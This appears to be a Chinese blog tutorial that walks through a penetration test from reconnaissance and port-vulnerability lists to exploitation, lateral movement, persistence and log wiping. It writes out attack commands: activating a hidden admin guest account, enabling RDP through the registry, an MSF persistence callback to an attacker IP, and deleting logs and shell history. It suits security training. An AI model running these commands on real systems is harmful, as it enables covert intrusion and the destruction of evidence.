信息收集
信息收集的方式可以分为两种:主动和被动。
主动信息收集:通过直接访问、扫描网站,这种流量将流经网站
被动信息收集:利用第三方的服务对目标进行访问了解,比例:Google搜索、Shodan搜索等
域名信息的收集
当我们确定了要渗透的目标,也就是知道了其域名,接下来我们需要收集域名对应的 ip,域名的whois信息、子域名等等一系列与域名相关的信息。
判断域名对应的IP:
首先,我们要判断该域名是否存在CDN的情况,我们可以去在线CDN查询网站:https://ping.chinaz.com/。如果查询出的ip数量大于一个的话,则说明该ip地址不是真实的服务器地址。以我的经验来看,如果是2个或者3个,并且这几个地址是同一地区的不同运营商的话,则很有可能这几个地址是服务器的出口地址,该服务器在内网中,通过不同运营商NAT映射供互联网访问,同时采用几个不同的运营商可以负载均衡和热备份。如果是多个ip地址,并且这些ip地址分布在不同地区的话,则基本上可以断定就是采用了CDN了。那么如何绕过CDN查找网站真实的ip地址呢?可以去看我的信息收集那篇文章,我写了如何绕过CDN
域名的whois信息:
whois是用来查询域名注册所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。通过whois来实现对域名信息的查询。早期的whois查询多以命令行接口存在,但是现在出现了一些网页接口简化的线上查询工具,可以一次向不同的数据库查询。网页接口的查询工具仍然依赖whois协议向服务器发送查询请求,命令行接口的工具仍然被系统管理员广泛使用。whois通常使用TCP协议43端口。每个域名/IP的whois信息由对应的管理机构保存。
通常,我们进行whois查询是去: 站长之家whois查询。然后查出来信息之后,可以根据查询出来的邮箱、注册人、公司、电话等进行反查。https://whois.chinaz.com/
公司敏感信息网上搜集
当确定了公司后,我们可以去互联网上查询与该公司有关的任何信息。比如,公司的邮箱格式,公司的员工姓名,以及与该公司有关的任何信息。并且,我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码进行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱密码、还有可能有泄露的源代码等。
网站指纹识别
在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。CMS又称整站系统。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
常见的网站指纹识别工具有:whatweb等。
整站分析
服务器类型(Linux/Windows)
服务器信息包括服务器用的操作系统:Linux 还是 Windows 。现在企业网站服务器的操作系统有百分之九十以上用的是Linux操作系统。知道了服务器的操作系统之后,还需要知道操作系统使用的具体版本。因为很多低版本的操作系统都存在已知的漏洞。
判断是Linux还是Windows最简单就是通过ping来探测,Windows的TTL值都是一般是128,Linux则是64。所以大于100的肯定是Windows,而几十的肯定是Linux。但是,通过TTL值来判断服务器类型也不是百分之百准确的,有些windows服务器的TTL值也是几十,而且有的服务器禁止ping。还可以通过区不区分大小写来判断,linux严格区分大小写
而判断目标网站服务器的具体的版本的话,可以采用 nmap 进行扫描, -O 和 -A 参数都能扫描出来
网站容器(Apache/Nginx/Tomcat/IIS)
知道了这些信息之后,我们就需要知道网站用的web服务器是什么类型的:Apache、Nginx、Tomcat 还是 IIS。知道了web服务器是哪种类型后,我们还要探测web服务器具体的版本。比如Ngnix版本<0.83会有解析漏洞 ,IIS6.0会有文件名解析漏洞、IIS7.0会有畸形解析漏洞等。不同的web服务器版本,存在着不同漏洞。
脚本类型(php/jsp/asp/aspx)
我们需要知道网站用的脚本类型:php 、Jsp 、Asp 、Aspx 。
1:可以根据网站URL来判断
2:site:xxx filetype:php
3:可以根据Firefox的插件来判断
数据库类型(Mysql/Oracle/Accees/Mqlserver)
我们需要知道网站用的是哪种类型的数据库:Mysql、Oracle、SqlServer 还是 Access 。虽然这几种数据库的语法大体上相同,但是还是有区别的。所以我们还是要知道目标网站用的是哪种数据库,并且数据库是哪个版本的
几种数据库的区别:
Access 全名是Microsoft Office Access,是由微软发布的关联式数据库管理系统。小型数据库,当数据库达到100M左右的时候性能就会下降。数据库后缀名: .mdb 一般是asp的网页文件用access数据库
SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf
MySQL 是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL是最流行的关系型数据库管理系统,在 WEB 应用方面MySQL是最好的应用软件之一,MySQL数据库大部分是php的页面。默认端口是3306
Oracle又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521
首先,成本上的差距,access是不要钱的,mysql也是开源的,sql server 是收费的一般也就几千,Oracle的费用则数万。其次,处理能力,access支持千以内的访问量,sql server支持几千到上万的访问,而Oracle则支持海量的访 问。再次,从数据库的规模来看,access是小型数据库,,mysql 是中小型数据库,sql server是中型数据库,Oracle是大型数据库。
常见搭配:
ASP 和 ASPX:ACCESS、SQL Server
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
主机扫描(Nessus)
对目标主机进行扫描,而不仅仅是对网站进行扫描,扫描目标主机开放了哪些端口,扫描端口运行的服务,目标主机上有哪些漏洞。
主机扫描的工具也有很多,比如:Nessus
端口扫描(nmap)
端口扫描(nmap)
需要知道目标服务器开放了哪些端口,常见的如 135 、137 、138 、139 、445,这几个端口经常爆发漏洞。以下是一些服务端口的漏洞:
22——>ssh弱口令
873——>rsync 未授权访问漏洞
3306——>mysql弱口令
6379——>redis未授权访问漏洞
端口扫描工具有nmap和masscan。nmap扫描的准确性较高,但是扫描的比较慢。masscan扫描的比较快,但是准确性较低。
20:FTP服务的数据传输端口
21:FTP服务的连接端口,可能存在 弱口令暴力破解
22:SSH服务端口,可能存在 弱口令暴力破解
23:Telnet端口,可能存在 弱口令暴力破解
25:SMTP简单邮件传输协议端口,和 POP3 的110端口对应
43:whois服务端口
53:DNS服务端口(TCP/UDP 53)
67/68:DHCP服务端口
69:TFTP端口,可能存在弱口令
80:HTTP端口,常见web漏洞
88:Kerberos协议端口
110:POP3邮件服务端口,和SMTP的25端口对应
135:RPC服务
137/138: NMB服务
139:SMB/CIFS服务
143:IMAP协议端口
161/162: Snmp服务,public弱口令
389:LDAP目录访问协议,有可能存在注入、弱口令,域控才会开放此端口
443:HTTPS端口,心脏滴血等与SSL有关的漏洞
445:SMB服务端口,可能存在永恒之蓝漏洞MS17-010
512/513/514:Linux Rexec服务端口,可能存在爆破
636:LDAPS目录访问协议,域控才会开放此端口
873:Rsync ,可能存在Rsync未授权访问漏洞,传送门:rsync 未授权访问漏洞
1080:socket端口,可能存在爆破
1099:RMI,可能存在 RMI反序列化漏洞
1352:Lotus domino邮件服务端口,可能存在弱口令、信息泄露
1414:IBM WebSphere MQ服务端口
1433:SQL Server对外提供服务端口
1434:用于向请求者返回SQL Server使用了哪个TCP/IP端口
1521:oracle数据库端口
2049:NFS服务端口,可能存在NFS配置不当
2181:ZooKeeper监听端口,可能存在 ZooKeeper未授权访问漏洞
2375:Docker端口,可能存在 Docker未授权访问漏洞
2601: Zebra ,默认密码zebr
3128: squid ,匿名访问(可能内网漫游)
3268:LDAP目录访问协议,有可能存在注入、弱口令
3306:MySQL数据库端口,可能存在 弱口令暴力破解
3389:Windows远程桌面服务,可能存在 弱口令漏洞 或者 CVE-2019-0708 远程桌面漏洞复现
3690:SVN服务,可能存在SVN泄漏,未授权访问漏洞
4440:Rundeck,弱口令admin
4560:log4j SocketServer监听的端口,可能存在 log4j<=1.2.17反序列化漏洞(CVE-2019-17571)
4750:BMC,可能存在 BMC服务器自动化RSCD代理远程代码执行(CVE-2016-1542)
4848:GlassFish控制台端口,可能存在弱口令admin/adminadmin
5000:SysBase/DB2数据库端口,可能存在爆破、注入漏洞
5432:PostGreSQL数据库的端口
5632:PyAnywhere服务端口,可能存在代码执行漏洞
5900/5901:VNC监听端口,可能存在 VNC未授权访问漏洞
5984:CouchDB端口,可能存在 CouchDB未授权访问漏洞
6379:Redis数据库端口,可能存在Redis未授权访问漏洞,传送门:Redis未授权访问漏洞
7001/7002:Weblogic,可能存在Weblogic反序列化漏洞,传送门:Weblogic反序列化漏洞
7180:Cloudera manager端口
8000:JDWP,可能存在JDWP远程代码执行漏洞。
8069:Zabbix服务端口,可能存在Zabbix弱口令导致的Getshell漏洞
8080:Tomcat、JBoss,可能存在Tomcat管理页面弱口令Getshell,JBoss未授权访问漏洞,传送门:Tomcat管理弱口令页面Getshell
8080-8090:可能存在web服务
8089:Jetty、Jenkins服务端口,可能存在反序列化,控制台弱口令等漏洞
8161:Apache ActiveMQ后台管理系统端口,默认口令密码为:admin:admin ,可能存在CVE-2016-3088漏洞,传送门:Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)
9000:fastcgi端口,可能存在远程命令执行漏洞
9001:Supervisord,可能存在Supervisord远程命令执行漏洞(CVE-2017-11610),传送门:Supervisord远程命令执行漏洞(CVE-2017-11610)
9043/9090:WebSphere,可能存在WebSphere反序列化漏洞
9200/9300:Elasticsearch监听端口,可能存在 Elasticsearch未授权访问漏洞
10000:Webmin-Web控制面板,可能存在弱口令
10001/10002:JmxRemoteLifecycleListener监听的,可能存在Tomcat反序列化漏洞,传送门:Tomcat反序列化漏洞(CVE-2016-8735)
11211:Memcached监听端口,可能存在 Memcached未授权访问漏洞
27017/27018:MongoDB数据库端口,可能存在 MongoDB未授权访问漏洞
50000:SAP Management Console服务端口,可能存在 运程命令执行漏洞。
50070:Hadoop服务端口,可能存在 Hadoop未授权访问漏洞
61616:Apache ActiveMQ服务端口,可能存在 Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
60020:hbase.regionserver.port,HRegionServer的RPC端口
60030:hbase.regionserver.info.port,HRegionServer的http端口
网站敏感目录和文件
扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏
后台目录:弱口令,万能密码,爆破
安装包:获取数据库信息,甚至是网站源码
上传目录:截断、上传图片马等
mysql管理接口:弱口令、爆破,万能密码,然后脱裤,甚至是拿到shell
安装页面 :可以二次安装进而绕过
phpinfo:会把你配置的各种信息暴露出来
编辑器:fck、ke、等
iis短文件利用:条件比较苛刻 windows、apache等
提到了网站敏感目录我们就不得不提 robots.txt 文件了
robots.txt 文件是专门针对搜索引擎机器人robot 编写的一个纯文本文件。我们可以在这个文件中指定网站中不想被robot访问的目录。这样,我们网站的部分或全部内容就可以不被搜索引擎收录了,或者让搜索引擎只收录指定的内容。因此我们可
以利用robots.txt让Google的机器人访问不了我们网站上的重要文件,GoogleHack的威胁也就不存在了。
假如编写的robots.txt文件内容如下:
User-agent: *
Disallow: /data/
Disallow: /db/
Disallow: /admin/
Disallow: /manager/
Allow:/images/
其中“Disallow”参数后面的是禁止robot收录部分的路径,例如我们要让robot禁止收录网站目录下的“data”文件夹,只需要在Disallow参数后面加上 /data/ 即可。如果想增加其他目录,只需按此格式继续添加。文件编写完成后将其上传到网站的根目录,就可以让网站远离Google Hack了。
虽然robots文件目的是让搜索蜘蛛不爬取想要保护的页面,但是如果我们知道了robots文件的内容的话,我们就可以知道目标网站哪些文件夹不让访问,从侧面说明这些文件夹是很重要的了。
探测目标网站后台目录的工具有: wwwscan、御剑、dirbuster、cansina等
旁站和C段扫描
旁站指的是同一服务器上的其他网站,很多时候,有些网站可能不是那么容易入侵。那么,可以查看该网站所在的服务器上是否还有其他网站。如果有其他网站的话,可以先拿下其他网站的webshell,然后再提权拿到服务器的权限,最后就自然可以拿下该网站了!
对于红蓝对抗和护网,C段扫描比较有意义。对于单独网站的渗透测试,C段扫描意义不大。C段指的是同一内网段内的其他服务器,每个IP有ABCD四个段,举个例子,192.168.0.1,A段就是192,B段是168,C段是0,D段是1,而C段嗅探的意思就是拿下它同一C段中的其中一台服务器,也就是说是D段1-255中的一台服务器,然后利用工具嗅探拿下该服务器。
旁站和C段在线查询地址:
http://www.webscan.cc/
https://phpinfo.me/bing.php
网站漏洞扫描
网站漏洞扫描就是直接对网站进行漏洞探测了。网站漏洞扫描也有很多工具。比如 AWVS、AppScan、OWASP-ZAP、nessuss等等。但是需要注意的是,使用漏扫工具直接对网站进行扫描,因为一下子流量过大,有些网站可能会崩溃。所以一般最好不要使用漏洞扫描工具对网站进行扫描。并且如果未经授权就用漏扫对网站进行扫描还是违法的!
信息收集完一定要做一整合,看看那些信息是有价值的
漏洞探测
漏洞探测
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE漏洞
SSRF服务端请求伪造漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录浏览漏洞和任意文件读取/下载漏洞
struts2漏洞
JAVA反序列化漏洞
这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。
网站漏洞扫描工具也有很多,比如:
AWVS
AppScan
Owasp-Zap
Nessus
漏洞利用
当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:
SQL注入,Sqlmap
XSS跨站脚本,Beef-XSS
抓包改包工具,——> Burpsuite、Fidder
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell
但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权
内网转发
内网转发
当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。
如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。
内网横向渗透
内网横向渗透
当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。
对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活 guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。
FTP相关的软件
数据库相关的软件
打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码
从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。
net user guest /active:yes #激活guest用户
net localgroup administrators guest /add #将guest用户添加到
net user guest 密码 #更改guest用户密码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。
在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。
关于内网渗透(域用户和非域用户)可以去看我的内网信息收集笔记
内网渗透可以去看我的内网横向移动
还需要看看我的隐藏通信隧道技术
权限维持
在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。
Web后门
1:隐藏后门文件(将文件设置为隐藏)
2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。
3: 404页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被D盾等工具检测到
Windows系统
Windows系统
1:建立隐藏用户,在用户名后加 $ 或 克隆用户
2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控
3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现
#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
run persistence -X -i 5 -p 8888 -r 192.168.10.27
#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。
5:shift后门(粘滞键后门)
6:远程桌面会话劫持
Linux
1:SSH后门
2:crontab定时任务
3:SSH公钥
4:创建SUID=0的用户
痕迹清除
一定要挂代理,没有能完全清楚的痕迹,只要花时间都能找到
Windows
1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹
2:如果3389远程登录过,需要清除mstsc痕迹
3:执行命令清除日志:
del %WINDR%\* .log /a/s/q/f
4:如果是web应用,找到web日志文件,删除
Linux
1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令
export HISTFILE=/dev/null export HISTSIZE=0
2:删除 /var/log 目录下的日志文件
3:如果是web应用,找到web日志文件,删除
撰写渗透测试报告
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
关联阅读
https://cloud.tencent.com/developer/article/2072434
Views: 5
Comments NOTHING